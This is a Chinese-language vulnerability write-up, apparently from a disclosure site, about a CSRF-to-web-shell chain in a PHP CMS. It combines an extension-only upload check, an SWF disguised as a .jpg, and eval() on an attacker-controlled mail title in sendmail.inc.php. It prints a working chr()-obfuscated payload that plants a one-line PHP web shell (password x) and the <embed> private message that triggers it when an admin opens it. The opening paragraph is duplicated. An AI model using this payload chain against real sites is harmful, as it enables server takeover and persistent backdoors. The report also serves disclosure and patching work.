### 简要描述: 上传问题+csrf+后台任意命令执行 = csrf getshell ### 详细说明: 先说上传问题,自带的fck编辑器没有验证上传图片的合法性,只判断了后缀名。 可以通过上传一个.jpg后缀的swf来进行csrf 然后是后台命令执行 /member/admin/sendmail.inc.php 行151 ``` default: if(isset($send)) { if(isset($preview) && $preview) { $content = stripslashes($content); if($template) { if($sendtype == 2) { $emails = explode("\n", $emails); $email = trim($emails[0]); } else if($sendtype == 3) { $emails = explode("\n", file_get(DT_ROOT.'/file/email/'.$mail)); $email = trim($emails[0]); } $user = _userinfo($fields, $email); eval("\$title = \"$title\";"); //eval()+双引号 +可控的$title 妥妥的任意命令执行 $content = ob_template($template, 'mail'); } echo '<br/><strong>邮件标题:</strong>'.$title.'<br/><br/>'; echo '<strong>邮件正文:</strong><br/><br/>'; echo $content; exit; } ``` ### 漏洞证明: 首先把请求抓出来 精简参数 得到命令执行的最简参数如下 ``` moduleid=2 file=sendmail send=1 preview=1 template=1 title='执行点' ``` 由于是post提交 会触发全局变量检查,所以这里不能使用单引号双引号等,构造POC如下 ```...
### 简要描述: 上传问题+csrf+后台任意命令执行 = csrf getshell ### 详细说明: 先说上传问题,自带的fck编辑器没有验证上传图片的合法性,只判断了后缀名。 可以通过上传一个.jpg后缀的swf来进行csrf 然后是后台命令执行 /member/admin/sendmail.inc.php 行151 ``` default: if(isset($send)) { if(isset($preview) && $preview) { $content = stripslashes($content); if($template) { if($sendtype == 2) { $emails = explode("\n", $emails); $email = trim($emails[0]); } else if($sendtype == 3) { $emails = explode("\n", file_get(DT_ROOT.'/file/email/'.$mail)); $email = trim($emails[0]); } $user = _userinfo($fields, $email); eval("\$title = \"$title\";"); //eval()+双引号 +可控的$title 妥妥的任意命令执行 $content = ob_template($template, 'mail'); } echo '<br/><strong>邮件标题:</strong>'.$title.'<br/><br/>'; echo '<strong>邮件正文:</strong><br/><br/>'; echo $content; exit; } ``` ### 漏洞证明: 首先把请求抓出来 精简参数 得到命令执行的最简参数如下 ``` moduleid=2 file=sendmail send=1 preview=1 template=1 title='执行点' ``` 由于是post提交 会触发全局变量检查,所以这里不能使用单引号双引号等,构造POC如下 ``` {${assert(chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(39).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(92).chr(39).chr(120).chr(92).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62).chr(39).chr(41).@chr(59))}} ``` 下面来制作一个csrf的swf [<img src="https://images.seebug.org/upload/201405/2622240947fc656900c2cc845a911d4ecd9f4ad3.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/2622240947fc656900c2cc845a911d4ecd9f4ad3.jpg) 注册一个普通用户 登录会员中心 http://192.168.1.104/member/message.php?rand=93&action=send 给admin发送一个站内信,内容为 ``` <embed src="http://192.168.1.104/filehttps://images.seebug.org/upload/201405/26/22-00-20-27-3.jpg" allowScriptAccess="always" type="application/x-shockwave-flash"></embed> ``` [<img src="https://images.seebug.org/upload/201405/262229310c7da07d7e48f58ee23d706fe0444fa6.jpg" alt="4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/262229310c7da07d7e48f58ee23d706fe0444fa6.jpg) 管理员登录后台首页会提示有新的站内信(太体贴了) [<img src="https://images.seebug.org/upload/201405/2622304203dd5d7130b0edf6df5afcff73c9ad93.jpg" alt="5.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/2622304203dd5d7130b0edf6df5afcff73c9ad93.jpg) 打开站内信即在web根目录生成1.php一句话 密码x [<img src="https://images.seebug.org/upload/201405/26223206441676e2ce6c1ce7d3379cc090edfa46.jpg" alt="7.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/26223206441676e2ce6c1ce7d3379cc090edfa46.jpg)